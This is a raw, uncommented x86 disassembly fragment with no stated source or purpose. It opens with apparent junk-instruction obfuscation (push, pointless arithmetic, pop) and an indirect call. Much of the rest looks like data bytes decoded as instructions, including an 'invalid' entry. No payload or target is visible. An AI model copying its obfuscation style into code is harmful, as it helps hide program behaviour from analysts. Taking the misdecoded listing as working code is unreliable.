push edx
and edx, 0x2523
or edx, 0x2637
or edx, 0x6733
pop edx
push eax
push esi
add esp, 4
add eax, 0x133fd
add eax, 0x9b9e
or eax, 0x177d9
sub eax, 0x11dee
pop eax
mov edx, dword [ebp - 0x8d4]
mov dword [ebp - 0x1fe8], edx
push 0
call dword [ebp - 0x1fe8]
push esi
or esi, 0x4b8
xor esi, 0xdc16
call 0x650191cf
add byte [eax + 0x4e], al
cmp eax, dword [ebx + 0x49]
cmp al, 0x44
dec eax
inc edi
add esp, 4
pop esi
push ecx
push eax
add esp, 4
add ecx, 0x9926
sub ecx, 0x99c1
pop ecx
push edx
mov ecx, 0x10101010
pop edx
push ecx
mov ecx, 0xffff03ff
pop ecx
push ebp
pop ecx
xchg bh, al
pop es
test ch, cl
int1
add eax, dword [ebx]
test ch, ah
clc
adc eax, 0xcd840304
test ch, cl
pop ebp
jo 0x6501920c
add ebx, dword [ebp + 0x5a]
test dl, ch
rcl dword [ebp + 4]
add eax, dword [edx + ebp*8 + 0x3030328]
test dl, ch
sub byte [ebx], al
add eax, dword [ebx]
test dl, ch
cmc
add eax, dword [ebx]
test dl, cl
mov word [edx - 0x369dfcfd], ds
mov byte [edi - 9], dl
add al, byte [edx]
dec edx
leave
mov byte [eax - 9], bl
add al, byte [edx]
push 0xf75988c9
add al, byte [edx]
ja 0x65019204
mov byte [edx - 9], bl
add al, byte [edx]
push eax
leave
mov byte [ebx - 9], bl
add al, byte [edx]
jb 0x65019212
pop ebx
test dword [edx], 0x88c97202
pop esp
test dword [edx], 0x88c96702
pop ebp
test dword [edx], 0x88c97802
pop esi
test dword [edx], 0x88c96f02
pop edi
test dword [edx], 0x88c96802
pushal
test dword [edx], 0x88c94b02
popal
test dword [edx], 0x88c96402
invalid
mov byte [edi + esi*8 + 2], bl
add ah, byte [edi - 0x37]
mov byte [ebp - 9], bl
add al, byte [edx]
js 0x65019220
mov byte [esi - 9], bl
add al, byte [edx]
outsd dx, dword [esi]
leave
mov byte [edi - 9], bl
add al, byte [edx]
push 0xf76088c9
add al, byte [edx]
dec ebx
leave
mov byte [ecx - 9], ah
add al, byte [edx]
leave
mov byte [edx - 9], ah
add al, byte [edx]
jno 0x65019243
mov byte [ebx - 9], ah
add al, byte [edx]
leave
mov byte [edi + esi*8 + 2], ah
add ch, byte [edi - 0x37]
mov byte [ebp - 9], ah
add al, byte [edx]
push 0xf76688c9
add al, byte [edx]
pop edx
leave
mov byte [edi - 9], ah
add al, byte [edx]
add edx, dword [esp + eax*4 - 0x1c]
ja 0x650192d9
add eax, dword [ebx]
pop esp
pop ecx
push esi
xchg bh, al
pop es
jmp 0x650192b8
add eax, dword [ebx]
inc esi
inc esp
cmp bh, byte [ebx]
cmp dword [edx + 0x47], ecx
aaa
dec edx
xchg bh, al
pop es
jmp 0x650192ca
inc esp
xchg bh, al
pop es
popal
leave
mov byte [edi - 0x11], al
inc edi
out dx, eax
add al, byte [edx]
dec ecx
leave
mov byte [eax - 0x11], cl
dec eax
out dx, eax
add al, byte [edx]
insb byte es:[edi], dx
leave
mov byte [ecx - 0x11], cl
dec ecx
out dx, eax
add al, byte [edx]
jno 0x650192ad
mov byte [edx - 0x11], cl
add al, byte [edx]
leave
mov byte [ebx - 0x11], cl
add al, byte [edx]
push ebp
leave
mov byte [edi + ebp*8 + 2], cl
add ch, byte [eax - 0x37]
mov byte [ebp - 0x11], cl
add al, byte [edx]
jbe 0x650192c9
mov byte [esi - 0x11], cl
add al, byte [edx]
jb 0x650192d0
mov byte [edi - 0x11], cl
add al, byte [edx]
js 0x650192d7
mov byte [eax - 0x11], dl
add al, byte [edx]
jne 0x650192de
mov byte [ecx - 0x11], dl
add al, byte [edx]
leave
mov byte [edx - 0x11], dl
add al, byte [edx]
push 0xef5388c9
add al, byte [edx]
pop edx
leave
mov byte [edi + ebp*8 + 2], dl
add al, byte [ebx]
pop ecx
push esp
xchg bh, al
pop es
test cl, dh
sub dword [ebp + 0x7ee0304], eax
add ebp, esi
pop es
dec eax
push eax
inc edi
dec edx
jmp 0x6501934f
xchg bh, al
pop es
jmp 0x6501935e
aaa
xchg bh, al
pop es
popal
leave
mov byte [edi - 0x11], ah
out dx, eax
add al, byte [edx]
dec edi
leave
mov byte [eax - 0x11], ch
add al, byte [edx]
jb 0x6501933a
push 0x720202ef
leave
mov byte [ecx - 0x11], ch
add al, byte [edx]
leave
imul ebp, edi, 0xc9640202
mov byte [edx - 0x11], ch
add al, byte [edx]
leave
mov byte [ebx - 0x11], ch
add al, byte [edx]
push ebp
leave
mov byte [edi + ebp*8 + 2], ch
add ch, byte [eax - 0x37]
mov byte [ebp - 0x11], ch
add al, byte [edx]
jbe 0x6501935d
mov byte [esi - 0x11], ch
add al, byte [edx]
jb 0x65019364
mov byte [edi - 0x11], ch
add al, byte [edx]
js 0x6501936b
mov byte [eax - 0x11], dh
add al, byte [edx]
jne 0x65019372
mov byte [ecx - 0x11], dh
add al, byte [edx]
leave
mov byte [edx - 0x11], dh
add al, byte [edx]
push 0xef7388c9
add al, byte [edx]
add ebx, dword [ecx - 0x15]
or eax, dword [ebx]
add eax, dword [ebx]
add ecx, dword [eax + 0x35]
inc eax
aas
dec edi
dec esp
cmp byte [esi - 0x67bf839], al
test cl, bh
cmovnp eax, dword [ebx]
add eax, dword [ecx + esi*8 + 0x3043ec5]
popal
push ebp
test ch, cl
push esi
add eax, dword [ebx]
test ch, al
shl esp, cl
add eax, dword [ebx]
test ch, dh
call 0xc20496f4
leave
mov byte [edi], ch
out dx, eax
add al, byte [edx]
push esi
leave
mov byte [eax], dh
out dx, eax
xor bh, ch
add al, byte [edx]
insb byte es:[edi], dx
leave
mov byte [ecx], dh
out dx, eax
xor edi, ebp
add al, byte [edx]
jge 0x650193ce
mov byte [edx], dh
out dx, eax
xor ch, bh
add al, byte [edx]
push 0xef3388c9
add al, byte [edx]
push edx
leave
mov byte [edi + ebp*8], dh
add al, byte [edx]
imul ecx, ecx, 0x2ef3588
add dl, byte [ebp - 0x37]
mov byte [esi], dh
out dx, eax
add al, byte [edx]
push 0xef3788c9
add al, byte [edx]
jbe 0x650193f8
mov byte [eax], bh
out dx, eax
add al, byte [edx]
jb 0x650193ff
mov byte [ecx], bh
out dx, eax
add al, byte [edx]
js 0x65019406
mov byte [edx], bh
out dx, eax